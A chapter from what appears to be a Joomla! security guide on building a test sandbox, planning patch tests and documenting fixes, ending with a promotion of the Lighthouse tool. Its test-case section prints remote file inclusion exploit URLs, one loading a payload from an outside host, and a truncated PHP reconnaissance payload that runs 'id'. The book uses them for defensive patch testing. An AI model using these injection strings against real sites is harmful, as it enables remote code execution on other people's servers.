Test and Development Environment

The test and development environment is not glamorous; it is mundane and necessary. It is an established mirror site that is usually not public facing. Often, this is done locally on a server you own, an IDE, or an integrated development environment, to allow you to make mistakes, run tests against it, and so on. At other times, you may have this on a shared host. Either way, you want to mirror the production environment completely.

Why do we want to do this? Well, in our Joomla! environment, we will have a mix of technologies at work, all interoperating together. We have PHP, Apache, Linux, AJAX, HTML, third-party extensions, and possibly other types of coding. They should all work together, right?—No, many times they don't. This mix-mash of code could expose a combination of things to allow an exploit, thus opening up your site for attack. This site will serve many purposes, which include testing of critical patches, upgrades to the site, development of new platforms, disaster recovery/fall back, and a great place to break stuff!

In our test environment, we can flesh out the interoperability issues that will inevitably come our way. By using this safe and secure testing facility we can test for security, making sure we deliver the most secure site possible. We previously said, "People are the number one security risk". We can help eliminate some of those risks by looking for things like SQL Injection Attacks, Buffer Overflow Attacks, command shell insertions, and many other nasty events.

Since we may face failure at some point in the future, we can increase our security by having a disaster recovery test bed here as well. In the software industry, this environment is known as a "sand-box", a place to play, if you will.

At the time this was written, a count at Joomla.org showed thousands of available extensions. All those extensions do not always play well together and will often conflict, again creating a unique security problem unforeseen by the developer of an extension. As a developer, you have the obligation to think about how your tools will be used in a common setup, and how they will react with other extensions. As a user or administrator, testing will help to uncover many such issues.

What Does This Have to Do with Security?

So...what do you say? I'll pick another tool or write my own if I can't get the extension developer to write a good tool. Good for you! That's a perfect thing, and not out of the scope of reality. In fact, it's right in line with Joomla!. However, I would postulate you would have the same problems. How will you assure security unless you go through rigorous regression testing, where you set up hundreds of combinations of extensions, versions of Joomla! and hosting combinations to make sure it's safe? You won't. Therefore, you still need a cursory run at it to make sure it works for you. Another scenario is, let's say, you find a replacement extension that does exactly what you want; it's perfect, easy to install, and looks wonderful. The documentation is adequate and useable. "Yes. This is the tool for me.", you think and you deploy it without testing. It doesn't work, and you find out it requires Register_Globals be set to 'on'. You discover, after you have been attacked by a kiddie-script, that they took advantage of the register global setting. What if it requires permissions to be set for 777, or worse (and likely) they did not sanitize the input and someone hit you with an SQL injection? This is WHY you need a test and development environment to test for security.

Another not too uncommon scenario is of the host that has restricted php.ini and you cannot make changes. You would catch this in your test environment. By clear documentation on your test site, and following those steps on your production environment, you would see that it cannot be changed. You can begin to see that a sandbox environment has everything to do with security. It should be an integral part of your business and your website development plan.

The Evil Hamster Wheel of Upgrades

This graphic represents how it feels to be constantly receiving upgrades, patches, fixes, and so on. This is necessary. Though time consuming and difficult to keep up with, it is something that you as a responsible administrator must do.

Getting off the evil hamster wheel won't happen until programmers can code secure applications that work with every environment, and never ever have flaws. So we'll schedule that for the second Tuesday of the sixth week, which is an impossible possibility. Upgrades are something we have to live with. Ah yes, as I write this, "patch Tuesday" is occurring. This means, thousands and thousands of PC's will blindly accept and install patches from Microsoft and after the reboot, they will be at their most secure level possible. Or so it is felt by the users. However, that is simply not the case, because it assumes a baseline that is secure, and not just addressing the recently discovered vulnerabilities in your flavor of Operating System. Please don't take the slight sarcasm negatively. It is simply observing the fallacy in thinking that we "patch and pray", and therefore, we are safe. Before installing patches in your production environment, test them in your sandbox setup to determine that they work properly with your setup.

The hamster wheel of upgrades means our ingrained need to add any new feature, patch, and update that the developers deem necessary or fit. Often they are correct. If they tell you an "xyz" extension has been demonstrated to have these errors, then don't hesitate to update, but only after testing it in your sandbox. Changing your patch and upgrading philosophy to be of a more secure mindset is the direction you should take.

Determine the Need for Upgrade

As we spoke about the need for a good baseline in our previous chapter, we want that to have a starting point in time. We cannot reach our destination unless we know: "Where do we want to go? Where is it? And where are we?" Let's say, for the sake of conversation, that you need the new SuperMosWhizBang extension from your favorite developer. This new extension sports eight hundred new features that you must have! If we approach this with a sober mind and consider a few data points, we might determine that this would not only open us up for risk, but might be a waste of time and money. Or it might be easily proved that the extensions are needed, and we can begin the testing and deployment. The next step is taking the following into consideration:

1. Which of these new features are in line with my business goals?
2. How will these features help me reach my goals?
3. What is the cost, in dollars, to obtain this extension?
4. How many man-hours will be required to implement this extension safely?
5. Are well-written instructions available?
6. Is the developer available to support me in a problem scenario?
7. Has the developer tested for SQL injection attacks?
8. Will my end users need to be re-trained after the upgrade?
9. What would be my cost of downtime, should this new feature break my site?
10. What kind of financial gain can I expect through the use of this?
11. Will I see this in my annual sales?
12. What is the financial loss that I may suffer if I do not install (as in the case of a patch)?

If we had a mathematical formula to determine all this, it might resemble the following figure:

Of course, this mythical formula does not exist. Yet, the variables it calls for are very real.

What we are expressing here is, if you implement this, what the cost in time will be (labor dollars), the annual sales we can expect, the estimated loss if this extension fails, and so on.

Again, things would be simple if they were as easy as the formula. In testing, we can determine what kind of (if any) failures will occur, and how long it will take to recover, with what is known as your MTTF (Mean Time To Fix). If we have a Recovery Time Objective of one hour, yet it takes us two hours to recover from the damage caused by the extension, then we must factor that in.

Building each of these variables into your test plan will give you a solid representation of what your expected outcome should be. It arms you with knowledge to go/not to go on with the extension or upgrade.

Let's consider a situation where you are on the other part of the wheel. It is thrust upon you in an emergency situation, after Johnny Craxbox has used an SQL injection attack on your site, broken into your database, and defaced your site. Now, your test environment can become a point of rescue by implementing your disaster recovery plan (you do have one, right?). After you clean up, you re-search it and find that the com_cool-extension has a simple, but overlooked flaw in it, such as this missing code:

defined( '_VALID_MOS' ) or die ( 'Direct Access to this location is not allowed.' );

This code is a gatekeeper for your site. This ensures that visitors cannot browse (or access) this file "directly". Rather, they must go through Joomla! to gain access. This is a very important section of code that is sometimes forgotten, thus exposing the system to threats.

Now you will need to modify and test your site. If the developer has not released a patched version, or an upgrade means, then you will have to add this code yourself.

Developing Your Test Plan

This section will cover the development of your test plan, which in itself has several aspects:

The purpose of the plan is no different than a road map; it directs you to your destination. Just as you would carry a road map in your automobile for a trip to somewhere unknown, you should develop a test plan. In our test plan or road map, you will need to cover several items to ensure that you reach your destination.

Using Your Test and Development Site for Disaster Planning

Having a solid disaster recovery plan should be a part of your security stability plan. This means that when you are attacked successfully, you can fall back or restore with minimal impact to your operations. The book, Dodging the Bullets, a Disaster Preparation Guide for Joomla! Web Sites is a recommended read to get your plan started. For now, know that your test and development site can be a great place to keep a mirror or working copy going.

Crafting Good Documentation

There are several key pieces of information from your tests that can be repurposed into valuable end user and deployment documentation.

These include the following:

In this chapter, the SQL injection attack is frequently mentioned as an attack that can happen. Assume for the moment that the test case we designed was to test a patch for an SQL injection attack. In our test case, we will take a serious injection instance, such as the one mentioned in Chapter 1. We will test to see if the patch would allow the commands that instruct the system to remove all the files, to work. If the fix worked as noted, then we're good. If not, then we are back to square one.

The steps for this portion of our test will be:

This will produce the errors and omissions type documentation. This is where we will note when we tested, which tester ran the test, what steps (exactly) it took to conduct it.

Here is an instance of an attack that we may try:

?mosConfig_absolute_path=http://myhost/components/com_gcomponent /sf.txt??

The file sf.txt, at the end of the line, will contain the payload that I will use. In a current exploit being used on the Internet, the PHP Script attempts to gain valuable information from the site.

My testing could use the payload of the attacker in a test environment, to determine the fix.

echo "<br>OSTYPE:$OS<br>";
echo "<br>Kernel:$ker<br>";
$free = disk_free_space($dir);
if ($free === FALSE) {$free = 0;}
if ($free < 0) {$free = 0;}
echo "Free:".view_size($free)."<br>";
$cmd="id";
.
.
.
<rest of code deleted>

Assuming it worked after I ran my test case, I would document everything, the fix, and the steps to ensure that the fix is in place. If it did not work, then of course, it would be back to testing. In this example, the com_gcomponent is vulnerable (name obscured on purpose).

Let's take another, very recent vulnerability that has been discovered about the time of writing. (The name of the component has been obscured.)

The vulnerable file is:

administrator/components/com_XXXXX/xxxxx_functions.php
($mosConfig_absolute_path.'/administrator/components/com_XXXXX/xxxxx/ xxxxx_core/xxxxx.inc.php');
# Exploit
http://localhost/path/administrator/components/com_xxxxx/xxxxx
_functions.php?mosConfig_absolute_path=[evilcode]

As an example, if I were to write a simple set of instructions to test and correct, it might look like the following:

Current situation: Our site www.localhost.com is running the now vulnerable file, com_XXXXX, and as such we are exposed to a remote file inclusion attack.

Test Plan:

End test.

Again, this is only a sample set of steps that one could take. Using the tools mentioned, we would be able to track this through the process and develop documentation around it.

Our other test and documents are to notate our permissions, any changes to our php.ini, and so forth.

It is easy to think that you have your notes spread amongst email, sticky-notes, spiral pads, and in your head. This is a target-rich environment for forgetting the "one-thing" that can cause a security hole to show up at the most inopportune time. Using a good toolset to help with software development and testing is paramount.

Using a Software Development Management System

One such tool that the author is familiar with is from www.artifactsoftware.com. The product "Lighthouse" is a software delivery management tool. You may be wondering what an "SDM" is, let's let their tool speak for itself.

"A Software Development Management system, or SDM, is an application that fuses all of the tools used to manage a software project (i.e. MS Project, Word, Excel, SharePoint, Bugzilla, time reporting, and more) into one system where project data is shared, traced, reported, and displayed in real-time. SDM systems give a level of control to managing resources, monitoring delivery and measuring performance of software development projects not possible with current disconnected tools."

Tour of Lighthouse from Artifact Software

Here is why you should consider using this or some other tool to help you track updates. Think through the example of the code that was vulnerable. Clearly, this is an oversight on the part of the programmer. They would not have realized that they left out that bit of secure code.

When you update your site, patch it, or develop your own extension, you are not safe from making mistakes, missing a step, and so on. Think about rolling out a large website project to a customer, only to find that you had missed a critical step in the documentation. One single step is all it takes to make a big difference in the operational aspects of the site. This may seem like a small thing, one that is easily brushed away in your and the customer's mind, but what if that same small operational step was not detected and became vulnerable.

This is where the Lighthouse Tool can make a decent site or extension into one that is professional, polished, and highly resistant to attack. Further, a good tool against being attacked is documentation.

The reasoning behind good documentation is that it causes the writer to sit and think through the process. It causes the mind to be stimulated into thinking and drawing out other ideas that may be forgotten, and best of all, it keeps a record of things that have gone wrong in the past.

This is the main screen for Lighthouse. The tabs along the top are the main guide posts for the product. In this screenshot, we can see a few items important to our project.

Summary: This refers to what is going on right now. We can see the number of defects, new or open issues, should we track time when we can see we have approvals, and so forth. One of the most important parts of this screenshot is the message:

There aren't any tasks currently behind schedule

At a glance, we can see that the project is up to speed and on time. This would be important if you have multiple programmers, testers, and of course, for the client. You could quickly review where you are, where you may have delays and address them immediately.

The next tab is thePROJECT tab, which at a glance will show you the percent of completion. What is important about this is, if you roll out an entirely new project, say a large website implementation, you can define the entire project, features and requirements, set up critical paths, and so on. Then as those items are completed, they will roll up to your screen here.